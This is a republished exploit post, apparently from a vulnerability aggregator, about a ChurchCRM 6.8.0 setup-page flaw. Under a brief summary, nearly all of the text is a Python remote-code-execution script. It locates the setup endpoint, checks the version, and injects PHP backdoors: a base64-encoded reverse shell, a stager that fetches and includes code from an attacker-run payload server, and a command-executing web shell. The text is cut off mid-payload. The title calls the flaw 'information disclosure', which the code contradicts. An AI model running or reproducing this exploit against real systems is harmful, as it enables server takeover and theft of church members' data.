{"id":41409,"date":"2026-02-18T12:49:57","date_gmt":"2026-02-18T12:49:57","guid":{"rendered":"http:\/\/localhost\/?p=41409"},"modified":"2026-02-18T12:49:57","modified_gmt":"2026-02-18T12:49:57","slug":"churchcrm-680-information-disclosure-tester","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41409","title":{"rendered":"\ud83d\udcc4 ChurchCRM 6.8.0 Information Disclosure Tester_PACKETSTORM:215793"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:38:11&#8243;,&#8221;description&#8221;:&#8221;ChurchCRM versions 6.8.0 and earlier expose the installation setup endpoint without proper access restrictions. If the setup process remains accessible after deployment, it may allow unauthorized users to interact with configuration parameters. This&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 ChurchCRM 6.8.0 Information Disclosure Tester&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215793&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : ChurchCRM \u2264 6.8.0 \u2013 Setup Page Security Misconfiguration                                                                    |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/ChurchCRM\/                                                                                               |\\n    =============================================================================================================================================\\n    \\n    [+] Summary    : ChurchCRM versions 6.8.0 and earlier expose the installation setup endpoint without proper access restrictions. \\n                     If the setup process remains accessible after deployment, it may allow unauthorized users to interact with configuration parameters. \\n    \\t\\t\\t\\t This misconfiguration increases the risk of exploitation in unpatched or improperly secured installations. \\n                     Administrators are advised to disable or restrict access to the setup directory after installation and update to the latest secure version.\\n    [+] POC : \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import argparse\\n    import base64\\n    import random\\n    import string\\n    import sys\\n    import time\\n    import logging\\n    import re\\n    import socket\\n    import threading\\n    import http.server\\n    import socketserver\\n    from urllib.parse import urljoin, urlparse, quote\\n    from typing import Optional, Dict, Any, Tuple, List, Union\\n    from dataclasses import dataclass, field\\n    from enum import Enum\\n    from functools import wraps\\n    import json\\n    import requests\\n    from requests.exceptions import RequestException\\n    from requests.adapters import HTTPAdapter\\n    from urllib3.util.retry import Retry\\n    \\n    VERSION = \\&#8221;2.0.0\\&#8221;\\n    USER_AGENT = \\&#8221;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\&#8221;\\n    TIMEOUT = 30\\n    MAX_RETRIES = 3\\n    DEFAULT_PATHS = [&#8221;, &#8216;\/churchcrm&#8217;, &#8216;\/crm&#8217;, &#8216;\/church&#8217;, &#8216;\/crmchurch&#8217;]\\n    \\n    class ExploitError(Exception):\\n        \\&#8221;\\&#8221;\\&#8221;Base exception for exploit errors\\&#8221;\\&#8221;\\&#8221;\\n        pass\\n    \\n    \\n    class TargetUnreachableError(ExploitError):\\n        \\&#8221;\\&#8221;\\&#8221;Target is not reachable\\&#8221;\\&#8221;\\&#8221;\\n        pass\\n    \\n    \\n    class InjectionFailedError(ExploitError):\\n        \\&#8221;\\&#8221;\\&#8221;Failed to inject payload\\&#8221;\\&#8221;\\&#8221;\\n        pass\\n    \\n    \\n    class PayloadServerError(ExploitError):\\n        \\&#8221;\\&#8221;\\&#8221;Payload server error\\&#8221;\\&#8221;\\&#8221;\\n        pass\\n    \\n    \\n    class VersionDetectionError(ExploitError):\\n        \\&#8221;\\&#8221;\\&#8221;Version detection error\\&#8221;\\&#8221;\\&#8221;\\n        pass\\n    class TargetType(Enum):\\n        \\&#8221;\\&#8221;\\&#8221;Target platform types\\&#8221;\\&#8221;\\&#8221;\\n        LINUX_CMD_STAGER = \\&#8221;linux_cmd_stager\\&#8221;\\n        PHP_MEMORY = \\&#8221;php_memory\\&#8221;\\n        PHP_FETCH = \\&#8221;php_fetch\\&#8221;\\n    \\n    \\n    class CheckCode(Enum):\\n        \\&#8221;\\&#8221;\\&#8221;Check result codes\\&#8221;\\&#8221;\\&#8221;\\n        SAFE = \\&#8221;safe\\&#8221;\\n        VULNERABLE = \\&#8221;vulnerable\\&#8221;\\n        UNKNOWN = \\&#8221;unknown\\&#8221;\\n        UNREACHABLE = \\&#8221;unreachable\\&#8221;\\n    \\n    \\n    @dataclass\\n    class TargetInfo:\\n        \\&#8221;\\&#8221;\\&#8221;Target information\\&#8221;\\&#8221;\\&#8221;\\n        url: str\\n        base_path: str\\n        scheme: str\\n        host: str\\n        port: int\\n        version: Optional[str] = None\\n        vulnerable: Optional[bool] = None\\n        detected_paths: List[str] = field(default_factory=list)\\n    \\n    \\n    @dataclass\\n    class ExploitResult:\\n        \\&#8221;\\&#8221;\\&#8221;Exploit result\\&#8221;\\&#8221;\\&#8221;\\n        success: bool\\n        session: Optional[requests.Session] = None\\n        message: str = \\&#8221;\\&#8221;\\n        target: Optional[TargetInfo] = None\\n        output: Optional[str] = None\\n    \\n    class Version:\\n        \\&#8221;\\&#8221;\\&#8221;Advanced version handling\\&#8221;\\&#8221;\\&#8221;\\n        \\n        def __init__(self, version_string: str):\\n            self.original = version_string\\n            self.clean = self._clean_version(version_string)\\n            self.parts = self._parse_parts(self.clean)\\n            self.suffix = self._extract_suffix(version_string)\\n        \\n        def _clean_version(self, version: str) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Clean version string\\&#8221;\\&#8221;\\&#8221;\\n    \\n            match = re.search(r'(\\\\d+\\\\.\\\\d+(?:\\\\.\\\\d+)?)&#8217;, version)\\n            return match.group(1) if match else &#8216;0.0.0&#8217;\\n        \\n        def _parse_parts(self, version: str) -\\u003e List[int]:\\n            \\&#8221;\\&#8221;\\&#8221;Parse version into integer parts\\&#8221;\\&#8221;\\&#8221;\\n            parts = []\\n            for part in version.split(&#8216;.&#8217;):\\n                try:\\n                    parts.append(int(part))\\n                except ValueError:\\n                    parts.append(0)\\n            return parts\\n        \\n        def _extract_suffix(self, version: str) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Extract suffix (e.g., -beta2, -RC1)\\&#8221;\\&#8221;\\&#8221;\\n            match = re.search(r'[-_]([a-zA-Z]+\\\\d*)$&#8217;, version)\\n            return match.group(1) if match else &#8221;\\n        \\n        def __lt__(self, other: Union[str, &#8216;Version&#8217;]) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Less than comparison\\&#8221;\\&#8221;\\&#8221;\\n            if isinstance(other, str):\\n                other = Version(other)\\n            for i in range(max(len(self.parts), len(other.parts))):\\n                v1 = self.parts[i] if i \\u003c len(self.parts) else 0\\n                v2 = other.parts[i] if i \\u003c len(other.parts) else 0\\n                \\n                if v1 \\u003c v2:\\n                    return True\\n                if v1 \\u003e v2:\\n                    return False\\n    \\n            if self.suffix and not other.suffix:\\n                return True  # Has suffix is considered older\\n            if not self.suffix and other.suffix:\\n                return False\\n            \\n            return False\\n        \\n        def __le__(self, other: Union[str, &#8216;Version&#8217;]) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Less than or equal\\&#8221;\\&#8221;\\&#8221;\\n            return self \\u003c other or self == other\\n        \\n        def __eq__(self, other: Union[str, &#8216;Version&#8217;]) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Equal comparison\\&#8221;\\&#8221;\\&#8221;\\n            if isinstance(other, str):\\n                other = Version(other)\\n            return self.parts == other.parts and self.suffix == other.suffix\\n        \\n        def __str__(self) -\\u003e str:\\n            return self.original\\n        \\n        def __repr__(self) -\\u003e str:\\n            return f\\&#8221;Version(&#8216;{self.original}&#8217;)\\&#8221;\\n    \\n    def safe_urljoin(base: str, path: str) -\\u003e str:\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Safely join URL parts handling base paths correctly\\n        \\n        Examples:\\n        \\u003e\\u003e\\u003e safe_urljoin(&#8216;http:\/\/example.com\/churchcrm&#8217;, &#8216;\/setup\/&#8217;)\\n        &#8216;http:\/\/example.com\/churchcrm\/setup\/&#8217;\\n        \\u003e\\u003e\\u003e safe_urljoin(&#8216;http:\/\/example.com\/churchcrm\/&#8217;, &#8216;setup\/&#8217;)\\n        &#8216;http:\/\/example.com\/churchcrm\/setup\/&#8217;\\n        \\&#8221;\\&#8221;\\&#8221;\\n        base = base.rstrip(&#8216;\/&#8217;)\\n    \\n        if path.startswith(&#8216;\/&#8217;):\\n            parsed = urlparse(base)\\n            base_without_path = f\\&#8221;{parsed.scheme}:\/\/{parsed.netloc}\\&#8221;\\n            base_path = parsed.path.rstrip(&#8216;\/&#8217;)\\n            return f\\&#8221;{base_without_path}{base_path}{path}\\&#8221;\\n        else:\\n            return f\\&#8221;{base}\/{path.lstrip(&#8216;\/&#8217;)}\\&#8221;\\n    \\n    \\n    def normalize_url(url: str) -\\u003e str:\\n        \\&#8221;\\&#8221;\\&#8221;Normalize URL by adding scheme if missing and removing trailing slash\\&#8221;\\&#8221;\\&#8221;\\n        if not url.startswith((&#8216;http:\/\/&#8217;, &#8216;https:\/\/&#8217;)):\\n            url = &#8216;http:\/\/&#8217; + url\\n        return url.rstrip(&#8216;\/&#8217;)\\n    \\n    \\n    def parse_target(url: str) -\\u003e TargetInfo:\\n        \\&#8221;\\&#8221;\\&#8221;Parse target URL and return TargetInfo\\&#8221;\\&#8221;\\&#8221;\\n        url = normalize_url(url)\\n        parsed = urlparse(url)\\n        \\n        return TargetInfo(\\n            url=url,\\n            base_path=parsed.path.rstrip(&#8216;\/&#8217;) or &#8216;\/&#8217;,\\n            scheme=parsed.scheme,\\n            host=parsed.hostname,\\n            port=parsed.port or (443 if parsed.scheme == &#8216;https&#8217; else 80),\\n        )\\n    \\n    \\n    def discover_base_path(session: requests.Session, base_url: str, \\n                           paths: List[str] = None, logger: logging.Logger = None) -\\u003e Optional[str]:\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Discover the correct base path by trying common paths\\n        \\&#8221;\\&#8221;\\&#8221;\\n        if paths is None:\\n            paths = DEFAULT_PATHS\\n        \\n        parsed = urlparse(base_url)\\n        base = f\\&#8221;{parsed.scheme}:\/\/{parsed.netloc}\\&#8221;\\n        \\n        for path in paths:\\n            test_url = f\\&#8221;{base}{path}\\&#8221; if path else base\\n            try:\\n                setup_url = safe_urljoin(test_url, &#8216;\/setup\/&#8217;)\\n                if logger:\\n                    logger.debug(f\\&#8221;Trying path: {setup_url}\\&#8221;)\\n                \\n                response = session.get(setup_url, timeout=5, allow_redirects=False)\\n                \\n                if response.status_code in [200, 301, 302]:\\n                    if logger:\\n                        logger.info(f\\&#8221;Found ChurchCRM at: {test_url}\\&#8221;)\\n                    return test_url\\n            except:\\n                continue\\n        \\n        return None\\n    \\n    class ColoredFormatter(logging.Formatter):\\n        \\&#8221;\\&#8221;\\&#8221;Custom formatter with colors\\&#8221;\\&#8221;\\&#8221;\\n        \\n        COLORS = {\\n            &#8216;DEBUG&#8217;: &#8216;\\\\033[36m&#8217;,      \\n            &#8216;INFO&#8217;: &#8216;\\\\033[32m&#8217;,       \\n            &#8216;WARNING&#8217;: &#8216;\\\\033[33m&#8217;,   \\n            &#8216;ERROR&#8217;: &#8216;\\\\033[31m&#8217;,     \\n            &#8216;CRITICAL&#8217;: &#8216;\\\\033[35m&#8217;,    \\n            &#8216;RESET&#8217;: &#8216;\\\\033[0m&#8217;         \\n        }\\n        \\n        def format(self, record):\\n            levelname = record.levelname\\n            if levelname in self.COLORS:\\n                record.levelname = f\\&#8221;{self.COLORS[levelname]}{levelname}{self.COLORS[&#8216;RESET&#8217;]}\\&#8221;\\n            return super().format(record)\\n    \\n    \\n    def setup_logger(debug: bool = False) -\\u003e logging.Logger:\\n        \\&#8221;\\&#8221;\\&#8221;Setup logger with appropriate configuration\\&#8221;\\&#8221;\\&#8221;\\n        logger = logging.getLogger(&#8216;churchcrm_exploit&#8217;)\\n        logger.setLevel(logging.DEBUG if debug else logging.INFO)\\n        \\n        if not logger.handlers:\\n            handler = logging.StreamHandler(sys.stdout)\\n            formatter = ColoredFormatter(\\n                &#8216;%(asctime)s [%(levelname)s] %(message)s&#8217;,\\n                datefmt=&#8217;%H:%M:%S&#8217;\\n            )\\n            handler.setFormatter(formatter)\\n            logger.addHandler(handler)\\n        \\n        return logger\\n    \\n    def create_session(retries: int = MAX_RETRIES) -\\u003e requests.Session:\\n        \\&#8221;\\&#8221;\\&#8221;Create requests session with retry logic\\&#8221;\\&#8221;\\&#8221;\\n        session = requests.Session()\\n        \\n        retry_strategy = Retry(\\n            total=retries,\\n            backoff_factor=0.5,\\n            status_forcelist=[500, 502, 503, 504],\\n            allowed_methods=[\\&#8221;HEAD\\&#8221;, \\&#8221;GET\\&#8221;, \\&#8221;OPTIONS\\&#8221;, \\&#8221;POST\\&#8221;]\\n        )\\n        \\n        adapter = HTTPAdapter(max_retries=retry_strategy)\\n        session.mount(\\&#8221;http:\/\/\\&#8221;, adapter)\\n        session.mount(\\&#8221;https:\/\/\\&#8221;, adapter)\\n        \\n        session.headers.update({\\n            &#8216;User-Agent&#8217;: USER_AGENT,\\n            &#8216;Accept&#8217;: &#8216;text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8&#8217;,\\n            &#8216;Accept-Language&#8217;: &#8216;en-US,en;q=0.5&#8217;,\\n            &#8216;Accept-Encoding&#8217;: &#8216;gzip, deflate&#8217;,\\n            &#8216;Connection&#8217;: &#8216;keep-alive&#8217;,\\n        })\\n        \\n        return session\\n    \\n    def random_string(length: int = 8) -\\u003e str:\\n        \\&#8221;\\&#8221;\\&#8221;Generate random string\\&#8221;\\&#8221;\\&#8221;\\n        return &#8221;.join(random.choices(string.ascii_lowercase, k=length))\\n    \\n    \\n    def random_int_string(min_len: int = 5, max_len: int = 10) -\\u003e str:\\n        \\&#8221;\\&#8221;\\&#8221;Generate random integer as string\\&#8221;\\&#8221;\\&#8221;\\n        length = random.randint(min_len, max_len)\\n        return &#8221;.join(random.choices(string.digits, k=length))\\n    \\n    \\n    def random_url() -\\u003e str:\\n        \\&#8221;\\&#8221;\\&#8221;Generate random URL\\&#8221;\\&#8221;\\&#8221;\\n        return f\\&#8221;http:\/\/{random_string(8)}.com\/\\&#8221;\\n    \\n    class PayloadHandler(http.server.SimpleHTTPRequestHandler):\\n        \\&#8221;\\&#8221;\\&#8221;HTTP handler for serving payloads\\&#8221;\\&#8221;\\&#8221;\\n        \\n        payload = None\\n        logger = None\\n        request_count = 0\\n        \\n        def do_GET(self):\\n            \\&#8221;\\&#8221;\\&#8221;Handle GET request\\&#8221;\\&#8221;\\&#8221;\\n            PayloadHandler.request_count += 1\\n            \\n            if self.logger:\\n                self.logger.debug(f\\&#8221;Payload request #{PayloadHandler.request_count} from {self.client_address[0]}\\&#8221;)\\n            \\n            if self.payload:\\n                self.send_response(200)\\n                self.send_header(&#8216;Content-Type&#8217;, &#8216;application\/x-httpd-php&#8217;)\\n                self.send_header(&#8216;Content-Length&#8217;, str(len(self.payload)))\\n                self.send_header(&#8216;Pragma&#8217;, &#8216;no-cache&#8217;)\\n                self.send_header(&#8216;Cache-Control&#8217;, &#8216;no-cache, no-store, must-revalidate&#8217;)\\n                self.end_headers()\\n                self.wfile.write(self.payload.encode())\\n                \\n                if self.logger:\\n                    self.logger.info(f\\&#8221;Served payload to {self.client_address[0]}\\&#8221;)\\n            else:\\n                self.send_response(404)\\n                self.end_headers()\\n        \\n        def log_message(self, format, *args):\\n            \\&#8221;\\&#8221;\\&#8221;Override to use our logger\\&#8221;\\&#8221;\\&#8221;\\n            if self.logger and self.logger.isEnabledFor(logging.DEBUG):\\n                self.logger.debug(f\\&#8221;Payload server: {format % args}\\&#8221;)\\n    \\n    \\n    class PayloadServer:\\n        \\&#8221;\\&#8221;\\&#8221;HTTP server for serving payloads\\&#8221;\\&#8221;\\&#8221;\\n        \\n        def __init__(self, logger: logging.Logger, host: str = &#8216;0.0.0.0&#8217;, port: int = 0):\\n            self.logger = logger\\n            self.host = host\\n            self.port = port\\n            self.server = None\\n            self.thread = None\\n            self.payload = None\\n        \\n        def start(self, payload: str) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Start payload server and return URL\\&#8221;\\&#8221;\\&#8221;\\n            self.payload = payload\\n            PayloadHandler.payload = payload\\n            PayloadHandler.logger = self.logger\\n            PayloadHandler.request_count = 0\\n            self.server = socketserver.TCPServer((self.host, self.port), PayloadHandler, bind_and_activate=False)\\n            self.server.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n            self.server.server_bind()\\n            self.server.server_activate()\\n            self.port = self.server.server_address[1]\\n            self.thread = threading.Thread(target=self.server.serve_forever)\\n            self.thread.daemon = True\\n            self.thread.start()\\n            \\n            server_url = f\\&#8221;http:\/\/{self.get_local_ip()}:{self.port}\/\\&#8221;\\n            self.logger.info(f\\&#8221;Payload server started at {server_url}\\&#8221;)\\n            \\n            return server_url\\n        \\n        def stop(self):\\n            \\&#8221;\\&#8221;\\&#8221;Stop payload server\\&#8221;\\&#8221;\\&#8221;\\n            if self.server:\\n                self.server.shutdown()\\n                self.server.server_close()\\n                self.logger.debug(f\\&#8221;Payload server stopped (served {PayloadHandler.request_count} requests)\\&#8221;)\\n        \\n        def get_local_ip(self) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Get local IP address\\&#8221;\\&#8221;\\&#8221;\\n            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\n            try:\\n                s.connect((&#8216;10.255.255.255&#8217;, 1))\\n                ip = s.getsockname()[0]\\n            except Exception:\\n                ip = &#8216;127.0.0.1&#8217;\\n            finally:\\n                s.close()\\n            return ip\\n        \\n        def wait_for_requests(self, timeout: int = 10) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Wait for at least one request\\&#8221;\\&#8221;\\&#8221;\\n            start = time.time()\\n            while time.time() &#8211; start \\u003c timeout:\\n                if PayloadHandler.request_count \\u003e 0:\\n                    return True\\n                time.sleep(0.5)\\n            return False\\n    \\n    class VersionDetector:\\n        \\&#8221;\\&#8221;\\&#8221;Detect ChurchCRM version from response\\&#8221;\\&#8221;\\&#8221;\\n        \\n        def __init__(self, logger: logging.Logger):\\n            self.logger = logger\\n            self.patterns = [\\n                (re.compile(r&#8217;CRM-VERSION:\\\\s*([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)&#8217;, re.I), &#8216;header&#8217;),\\n                (re.compile(r&#8217;\\u003cmeta[^\\u003e]*name=[\\&#8221;\\\\&#8217;]version[\\&#8221;\\\\&#8217;][^\\u003e]*content=[\\&#8221;\\\\&#8217;]([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)&#8217;, re.I), &#8216;meta&#8217;),\\n                (re.compile(r&#8217;\\u003cmeta[^\\u003e]*content=[\\&#8221;\\\\&#8217;]([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)[^\\u003e]*name=[\\&#8221;\\\\&#8217;]version&#8217;, re.I), &#8216;meta&#8217;),\\n                (re.compile(r&#8217;\\u003c!&#8211;\\\\s*ChurchCRM[^\\\\d]*([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)&#8217;, re.I), &#8216;comment&#8217;),\\n                (re.compile(r&#8217;ChurchCRM[^\\\\d]*([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)&#8217;, re.I), &#8216;footer&#8217;),\\n                (re.compile(r&#8217;window\\\\.ChurchCRM\\\\s*=\\\\s*\\\\{[^}]*version:\\\\s*[\\&#8221;\\\\&#8217;]([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)&#8217;, re.I), &#8216;js&#8217;),\\n                (re.compile(r&#8217;\\&#8221;softwareVersion\\&#8221;\\\\s*:\\\\s*\\&#8221;([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)&#8217;, re.I), &#8216;json&#8217;),\\n                (re.compile(r&#8217;ChurchCRM[\\\\\/\\\\s-]*([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)&#8217;, re.I), &#8216;php&#8217;),\\n            ]\\n        \\n        def detect(self, response: requests.Response) -\\u003e Optional[Version]:\\n            \\&#8221;\\&#8221;\\&#8221;Detect version from response\\&#8221;\\&#8221;\\&#8221;\\n            detected_versions = []\\n            \\n            if &#8216;CRM-VERSION&#8217; in response.headers:\\n                version = self._clean_version(response.headers[&#8216;CRM-VERSION&#8217;])\\n                if version:\\n                    self.logger.debug(f\\&#8221;Version found in header: {version}\\&#8221;)\\n                    detected_versions.append((&#8216;header&#8217;, version))\\n    \\n            if &#8216;X-Powered-By&#8217; in response.headers:\\n                match = re.search(r&#8217;ChurchCRM[\\\\\/\\\\s-]*([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)&#8217;, \\n                                 response.headers[&#8216;X-Powered-By&#8217;], re.I)\\n                if match:\\n                    version = self._clean_version(match.group(1))\\n                    if version:\\n                        self.logger.debug(f\\&#8221;Version found in X-Powered-By: {version}\\&#8221;)\\n                        detected_versions.append((&#8216;x-powered&#8217;, version))\\n    \\n            for pattern, source in self.patterns:\\n                matches = pattern.findall(response.text)\\n                for match in matches:\\n                    if isinstance(match, tuple):\\n                        match = match[0]\\n                    version = self._clean_version(match)\\n                    if version:\\n                        self.logger.debug(f\\&#8221;Version found in {source}: {version}\\&#8221;)\\n                        detected_versions.append((source, version))\\n            \\n            if not detected_versions:\\n                return None\\n    \\n            version_counts = {}\\n            for source, version in detected_versions:\\n                version_str = str(version)\\n                version_counts[version_str] = version_counts.get(version_str, 0) + 1\\n            \\n            most_common = max(version_counts.items(), key=lambda x: x[1])\\n            self.logger.debug(f\\&#8221;Most common version: {most_common[0]} (appears {most_common[1]} times)\\&#8221;)\\n            \\n            return Version(most_common[0])\\n        \\n        def _clean_version(self, version: str) -\\u003e Optional[Version]:\\n            \\&#8221;\\&#8221;\\&#8221;Clean and validate version string\\&#8221;\\&#8221;\\&#8221;\\n            version = version.strip()\\n    \\n            match = re.search(r'([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)&#8217;, version)\\n            if match:\\n                return Version(match.group(1))\\n            \\n            return None\\n        \\n        def is_vulnerable(self, version: Optional[Version]) -\\u003e Optional[bool]:\\n            \\&#8221;\\&#8221;\\&#8221;Check if version is vulnerable using enhanced comparison\\&#8221;\\&#8221;\\&#8221;\\n            if not version:\\n                return None\\n            \\n            try:\\n    \\n                vulnerable = version \\u003c= &#8216;6.8.0&#8217;\\n                \\n                self.logger.debug(f\\&#8221;Version {version} \\u003c= 6.8.0? {vulnerable}\\&#8221;)\\n                return vulnerable\\n                \\n            except Exception as e:\\n                self.logger.error(f\\&#8221;Version comparison error: {e}\\&#8221;)\\n                return None\\n    \\n    class ChurchCRMExploit:\\n        \\&#8221;\\&#8221;\\&#8221;ChurchCRM RCE Exploit\\&#8221;\\&#8221;\\&#8221;\\n        \\n        def __init__(self, target_url: str, logger: logging.Logger, \\n                     target_type: TargetType = TargetType.LINUX_CMD_STAGER,\\n                     lhost: Optional[str] = None, lport: Optional[int] = None,\\n                     payload: Optional[str] = None, verify_ssl: bool = True,\\n                     proxy: Optional[str] = None, auto_discover: bool = True):\\n            \\n            self.logger = logger\\n            self.original_url = target_url\\n            self.target_type = target_type\\n            self.lhost = lhost\\n            self.lport = lport\\n            self.custom_payload = payload\\n            self.verify_ssl = verify_ssl\\n            self.proxy = proxy\\n            self.auto_discover = auto_discover\\n            self.session = create_session()\\n            self.payload_server = None\\n            self.version_detector = VersionDetector(logger)\\n            self.backdoor_injected = False\\n            \\n            if proxy:\\n                self.session.proxies = {&#8216;http&#8217;: proxy, &#8216;https&#8217;: proxy}\\n    \\n            self.target = self._initialize_target(target_url)\\n        \\n        def _initialize_target(self, target_url: str) -\\u003e TargetInfo:\\n            \\&#8221;\\&#8221;\\&#8221;Initialize target with optional path discovery\\&#8221;\\&#8221;\\&#8221;\\n    \\n            try:\\n                info = parse_target(target_url)\\n    \\n                test_url = safe_urljoin(info.url, &#8216;\/setup\/&#8217;)\\n                response = self.session.get(test_url, timeout=5, verify=self.verify_ssl, allow_redirects=False)\\n                \\n                if response.status_code in [200, 301, 302]:\\n                    self.logger.info(f\\&#8221;Target URL working: {info.url}\\&#8221;)\\n                    info.detected_paths.append(info.base_path)\\n                    return info\\n            except:\\n                pass\\n    \\n            if self.auto_discover:\\n                self.logger.info(\\&#8221;Direct URL not working, attempting path discovery&#8230;\\&#8221;)\\n                discovered = discover_base_path(self.session, target_url, logger=self.logger)\\n                \\n                if discovered:\\n                    info = parse_target(discovered)\\n                    info.detected_paths = DEFAULT_PATHS\\n                    self.logger.info(f\\&#8221;Discovered ChurchCRM at: {info.url}\\&#8221;)\\n                    return info\\n            return parse_target(target_url)\\n        \\n        def check(self) -\\u003e Dict[str, Any]:\\n            \\&#8221;\\&#8221;\\&#8221;Check if target is vulnerable\\&#8221;\\&#8221;\\&#8221;\\n            self.logger.info(f\\&#8221;Checking target: {self.target.url}\\&#8221;)\\n            \\n            try:\\n    \\n                url = safe_urljoin(self.target.url, &#8216;\/setup\/&#8217;)\\n                self.logger.debug(f\\&#8221;Accessing {url}\\&#8221;)\\n                \\n                response = self.session.get(\\n                    url,\\n                    timeout=TIMEOUT,\\n                    verify=self.verify_ssl,\\n                    allow_redirects=True\\n                )\\n                \\n                self.logger.debug(f\\&#8221;Response code: {response.status_code}\\&#8221;)\\n                \\n                if response.status_code not in [200, 301, 302]:\\n                    self.logger.warning(f\\&#8221;Unexpected response code: {response.status_code}\\&#8221;)\\n                    return {\\n                        &#8216;code&#8217;: CheckCode.UNREACHABLE,\\n                        &#8216;message&#8217;: f&#8217;Setup page returned HTTP {response.status_code}&#8217;\\n                    }\\n    \\n                version = self.version_detector.detect(response)\\n                \\n                if version:\\n                    self.logger.info(f\\&#8221;Detected ChurchCRM version: {version}\\&#8221;)\\n                    vulnerable = self.version_detector.is_vulnerable(version)\\n                    self.target.version = str(version)\\n                    self.target.vulnerable = vulnerable\\n                    \\n                    if vulnerable:\\n                        self.logger.warning(\\&#8221;Target appears VULNERABLE!\\&#8221;)\\n                        return {\\n                            &#8216;code&#8217;: CheckCode.VULNERABLE,\\n                            &#8216;version&#8217;: str(version),\\n                            &#8216;message&#8217;: f&#8217;Vulnerable version {version} detected&#8217;\\n                        }\\n                    else:\\n                        self.logger.info(\\&#8221;Target appears NOT vulnerable\\&#8221;)\\n                        return {\\n                            &#8216;code&#8217;: CheckCode.SAFE,\\n                            &#8216;version&#8217;: str(version),\\n                            &#8216;message&#8217;: f&#8217;Version {version} is not vulnerable&#8217;\\n                        }\\n                else:\\n                    self.logger.warning(\\&#8221;Could not detect version\\&#8221;)\\n                    return {\\n                        &#8216;code&#8217;: CheckCode.UNKNOWN,\\n                        &#8216;message&#8217;: &#8216;Version unknown &#8211; setup page accessible&#8217;\\n                    }\\n                    \\n            except RequestException as e:\\n                self.logger.error(f\\&#8221;Request failed: {e}\\&#8221;)\\n                return {\\n                    &#8216;code&#8217;: CheckCode.UNREACHABLE,\\n                    &#8216;message&#8217;: f&#8217;Target unreachable: {e}&#8217;\\n                }\\n        \\n        def build_payload(self) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Build payload based on target type\\&#8221;\\&#8221;\\&#8221;\\n            prefix = f\\&#8221;{random_string(3)}&#8217;;\\&#8221;\\n            \\n            if self.target_type == TargetType.PHP_MEMORY:\\n    \\n                if self.custom_payload:\\n                    php_payload = self.custom_payload\\n                else:\\n    \\n                    php_payload = self._generate_reverse_shell()\\n                \\n                b64_payload = base64.b64encode(php_payload.encode()).decode()\\n                return f\\&#8221;{prefix} eval(base64_decode(\\\\\\&#8221;{b64_payload}\\\\\\&#8221;)); \/\/\\&#8221;\\n            \\n            elif self.target_type == TargetType.PHP_FETCH:\\n    \\n                if not self.payload_server:\\n                    raise PayloadServerError(\\&#8221;Payload server not started\\&#8221;)\\n                \\n                payload_name = f\\&#8221;\/tmp\/{random_string(8)}.php\\&#8221;\\n                server_url = f\\&#8221;http:\/\/{self.lhost}:{self.payload_server.port}\/\\&#8221;\\n                \\n                return (f\\&#8221;{prefix} $f='{payload_name}&#8217;; \\&#8221;\\n                       f\\&#8221;file_put_contents($f, file_get_contents(&#8216;{server_url}&#8217;)); \\&#8221;\\n                       f\\&#8221;register_shutdown_function(&#8216;unlink&#8217;, $f); include($f); \/\/\\&#8221;)\\n            \\n            else:\\n    \\n                return f\\&#8221;{prefix} system($_GET[&#8216;cmd&#8217;]); \/\/\\&#8221;\\n        \\n        def _generate_reverse_shell(self) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Generate PHP reverse shell\\&#8221;\\&#8221;\\&#8221;\\n            if not self.lhost or not self.lport:\\n                return \\&#8221;phpinfo();\\&#8221;\\n            \\n            return f\\&#8221;\\&#8221;\\&#8221;\\u003c?php\\n    \\n    $lhost = &#8216;{self.lhost}&#8217;;\\n    $lport = 